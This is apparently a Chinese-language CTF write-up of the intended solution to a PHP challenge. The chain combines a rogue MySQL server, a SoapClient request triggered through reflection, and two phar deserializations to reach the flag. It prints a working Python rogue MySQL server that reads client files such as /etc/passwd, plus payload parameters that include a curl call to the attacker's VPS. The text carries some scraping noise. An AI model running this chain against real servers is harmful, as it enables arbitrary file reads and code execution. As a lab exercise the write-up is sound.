这篇主要记录一下这道题目的预期解法php
作这道题首先要在本身的vps搭建一个rouge mysql,里面要填写须要读取客户端的文件名,即咱们上传的phar文件路径html
先搭一个rouge mysql测试看看:python
#coding=utf-8
#python2.x import socket import logging logging.basicConfig(level=logging.DEBUG) #filename="phar:///var/www/html/upload/bdb01307672a35c91848f1c1d093c343/d01deaab382af320bb80e16efc8ecd78.gif" filename="/etc/passwd" sv=socket.socket() sv.bind(("",3306)) sv.listen(5) conn,address=sv.accept() logging.info('Conn from: %r', address) conn.sendall("\x4a\x00\x00\x00\x0a\x35\x2e\x35\x2e\x35\x33\x00\x17\x00\x00\x00\x6e\x7a\x3b\x54\x76\x73\x61\x6a\x00\xff\xf7\x21\x02\x00\x0f\x80\x15\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x70\x76\x21\x3d\x50\x5c\x5a\x32\x2a\x7a\x49\x3f\x00\x6d\x79\x73\x71\x6c\x5f\x6e\x61\x74\x69\x76\x65\x5f\x70\x61\x73\x73\x77\x6f\x72\x64\x00") conn.recv(9999) logging.info("auth okay") conn.sendall("\x07\x00\x00\x02\x00\x00\x00\x02\x00\x00\x00") conn.recv(9999) logging.info("want file...") wantfile=chr(len(filename)+1)+"\x00\x00\x01\xFB"+filename conn.sendall(wantfile) content=conn.recv(9999) logging.info(content) conn.close()
首先尝试读一个/etc/passwd看看mysql
此时只须要在服务器启动rouge mysql便可sql
此时能够看到服务器已经监听了3306端口等待客户端的链接docker
咱们依照如下mysql客户端的配置来构造payload:数据库
客户端选择mysqli类数组
$m = new mysqli();
$m->init();
$m->real_connect('vps_ip','select 1','select 1','select 1',3306);
$m->query('select 1;');
这里只须要配置ip和端口接口服务器
接下来就可以读取到客户端的/etc/passwd文件了,那么只须要修改一下soap请求中的post参数便可,修改为客户端链接rouge mysql的参数形式curl
那么对应的soap请求中的post参数改成:
'admin=1&cmd=curl vps_ip&clazz=Mysqli&func1=init&arg1=&func2=real_connect&arg2[0]=vps_ip&arg2[1]=root&arg2[2]=123&arg2[3]=test&arg2[4]=3306&func3=query&arg3=select 1'
而后上传phar文件:
此时将获得回显一个回显路径:
那么此时再上传第二个phar文件,由于此时在rouge mysql上须要给客户端发送读取phar文件,这时客户端才会打开这个phar文件,从而触发有漏洞的stream,致使反序列化,
因此此时须要新建一个phar文件,那么确定要存在待会要反序列化的Ad类,而后生成phar上传,将会获得一个新的phar路径,这个就是咱们要在rouge mysql上配置的要读取的文件路径
而后咱们此时再访问咱们上传的第一个phar文件,就可以打通整个攻击链了,这里和zedd师傅交流了,须要对源代码进行一个小的修改
在调用反射类实现的real_connect方法时参数实际上为5个参数,对应着ip,数据库用户名、数据库密码、数据库名,端口,因此不可以直接以数据传进去,因此这里须要改为
invode($this->instance,$this->arg2[0],$this->arg2[1],$this->arg2[2],$this->arg2[3],$this->arg2[4])
而后再回到func.php来触发漏洞,为了方便测试,我在本地里面写的wakeup函数是curl vps的端口
那么触发phar之后,vps的rouge mysql将接受到客户端的请求,而且此时vps监听的端口也将收到curl请求,整个攻击链都打通了
梳理一下这个题目的流程:
1.首先bypass协议限制,构造phar包
2.构造soap请求admin.php,触发Ad类中的反射类
3.rouge mysql 客户端文件任意读取
整个攻击流程用到了两次phar反序列化
第一次phar反序列化,触发File类
类中__wakeup函数来反射一个soap类,调用check函数触发请求,这里exp中file_name构造为一个数组传入$this->file_name是能够的,实际上就看成是构造函数的参数了能够分解为两个参数,由于soap请求第一个参数要为null,即非wsdl型,第二个参数才是注入post请求的参数
第二次mysql本地读取文件时形成phar反序列化,触发Ad类__wakeup函数触发getflag
这里payload传入的时候就不能直接传入一个数组了,
这里invoke其实是调用类中的方法,第一个参数就是实例化的mysqli对象,第二个参数就是传给要调用的$reflectionMethod的参数,这里不能用数组。
因此整个攻击链就分析完了,仍是踩了很多坑:
1.docker里面直接docker-compose up -d起来,soap发送请求时要修改一下ip和端口,要是默认是127.0.0.1:9025端口这样是访问不到127.0.0.1:9025/admin.php的,必须修改成docker容器的ip地址
那么对应的验证是否为127.0.0.1的地方也要修改一下,修改成
这样本地才能够跑通,rouge mysql的攻击面实际上在cms里面也还有不少,有兴趣的话能够结合cms好好研究研究